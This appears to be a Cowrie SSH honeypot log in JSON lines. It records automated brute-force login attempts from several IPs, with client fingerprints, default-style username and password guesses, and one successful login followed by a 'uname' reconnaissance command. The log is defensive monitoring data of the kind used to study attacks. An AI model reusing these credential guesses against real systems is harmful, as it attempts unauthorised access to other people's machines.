{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:43.996003Z","src_ip":"43.163.119.215","session":"5d226941b472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:45.236122Z","src_ip":"43.163.119.215","session":"5d226941b472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":42566,"dst_ip":"10.17.0.5","dst_port":22,"session":"85e577896ea3","protocol":"ssh","message":"New connection: 94.154.34.232:42566 (10.17.0.5:22) [session: 85e577896ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:46.685633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:46.690160Z","src_ip":"94.154.34.232","session":"85e577896ea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:46.820034Z","src_ip":"94.154.34.232","session":"85e577896ea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1111","message":"login attempt [git/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:47.377664Z","src_ip":"94.154.34.232","session":"85e577896ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:48.509614Z","src_ip":"94.154.34.232","session":"85e577896ea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":33882,"dst_ip":"159.203.135.109","dst_port":22,"session":"0782d84f69f3","protocol":"ssh","message":"New connection: 43.153.46.75:33882 (159.203.135.109:22) [session: 0782d84f69f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:48.589476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:48.593047Z","src_ip":"43.153.46.75","session":"0782d84f69f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:48.660371Z","src_ip":"43.153.46.75","session":"0782d84f69f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:48.962569Z","src_ip":"43.153.46.75","session":"0782d84f69f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":43228,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b898467a60a","protocol":"ssh","message":"New connection: 103.75.199.4:43228 (159.203.135.109:22) [session: 8b898467a60a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:49.452560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:49.456917Z","src_ip":"103.75.199.4","session":"8b898467a60a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:49.547939Z","src_ip":"103.75.199.4","session":"8b898467a60a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:49.819888Z","src_ip":"103.75.199.4","session":"8b898467a60a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:50.032999Z","src_ip":"43.153.46.75","session":"0782d84f69f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":39784,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cad3fb75f70","protocol":"ssh","message":"New connection: 43.163.119.215:39784 (10.17.0.5:22) [session: 0cad3fb75f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:50.186004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:50.194097Z","src_ip":"43.163.119.215","session":"0cad3fb75f70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:50.440799Z","src_ip":"43.163.119.215","session":"0cad3fb75f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:50.913102Z","src_ip":"103.75.199.4","session":"8b898467a60a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:51.180332Z","src_ip":"43.163.119.215","session":"0cad3fb75f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:52.485191Z","src_ip":"43.163.119.215","session":"0cad3fb75f70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":33440,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f9dce7ad983","protocol":"ssh","message":"New connection: 43.163.119.215:33440 (10.17.0.5:22) [session: 7f9dce7ad983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:55.418886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:55.423680Z","src_ip":"43.163.119.215","session":"7f9dce7ad983","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:55.735485Z","src_ip":"43.163.119.215","session":"7f9dce7ad983","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:56.482513Z","src_ip":"43.163.119.215","session":"7f9dce7ad983","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:57.734266Z","src_ip":"43.163.119.215","session":"7f9dce7ad983","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":33446,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7f3785b6328","protocol":"ssh","message":"New connection: 43.163.119.215:33446 (10.17.0.5:22) [session: a7f3785b6328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:00.908316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:00.912637Z","src_ip":"43.163.119.215","session":"a7f3785b6328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:01.160024Z","src_ip":"43.163.119.215","session":"a7f3785b6328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:01.904836Z","src_ip":"43.163.119.215","session":"a7f3785b6328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:03.154312Z","src_ip":"43.163.119.215","session":"a7f3785b6328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":53758,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2b73dd0ea09","protocol":"ssh","message":"New connection: 43.163.119.215:53758 (10.17.0.5:22) [session: f2b73dd0ea09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:06.286689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:06.291567Z","src_ip":"43.163.119.215","session":"f2b73dd0ea09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:06.529191Z","src_ip":"43.163.119.215","session":"f2b73dd0ea09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:07.244692Z","src_ip":"43.163.119.215","session":"f2b73dd0ea09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:08.487460Z","src_ip":"43.163.119.215","session":"f2b73dd0ea09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54868,"dst_ip":"159.203.135.109","dst_port":22,"session":"b144c5f9f626","protocol":"ssh","message":"New connection: 103.75.199.4:54868 (159.203.135.109:22) [session: b144c5f9f626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:11.389700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:11.394175Z","src_ip":"103.75.199.4","session":"b144c5f9f626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:11.485720Z","src_ip":"103.75.199.4","session":"b144c5f9f626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":53762,"dst_ip":"10.17.0.5","dst_port":22,"session":"6725fceea7ff","protocol":"ssh","message":"New connection: 43.163.119.215:53762 (10.17.0.5:22) [session: 6725fceea7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:11.739444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:11.745235Z","src_ip":"43.163.119.215","session":"6725fceea7ff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:11.757902Z","src_ip":"103.75.199.4","session":"b144c5f9f626","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:11.982673Z","src_ip":"103.75.199.4","session":"b144c5f9f626","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:11.986134Z","src_ip":"103.75.199.4","session":"b144c5f9f626","protocol":"ssh"}
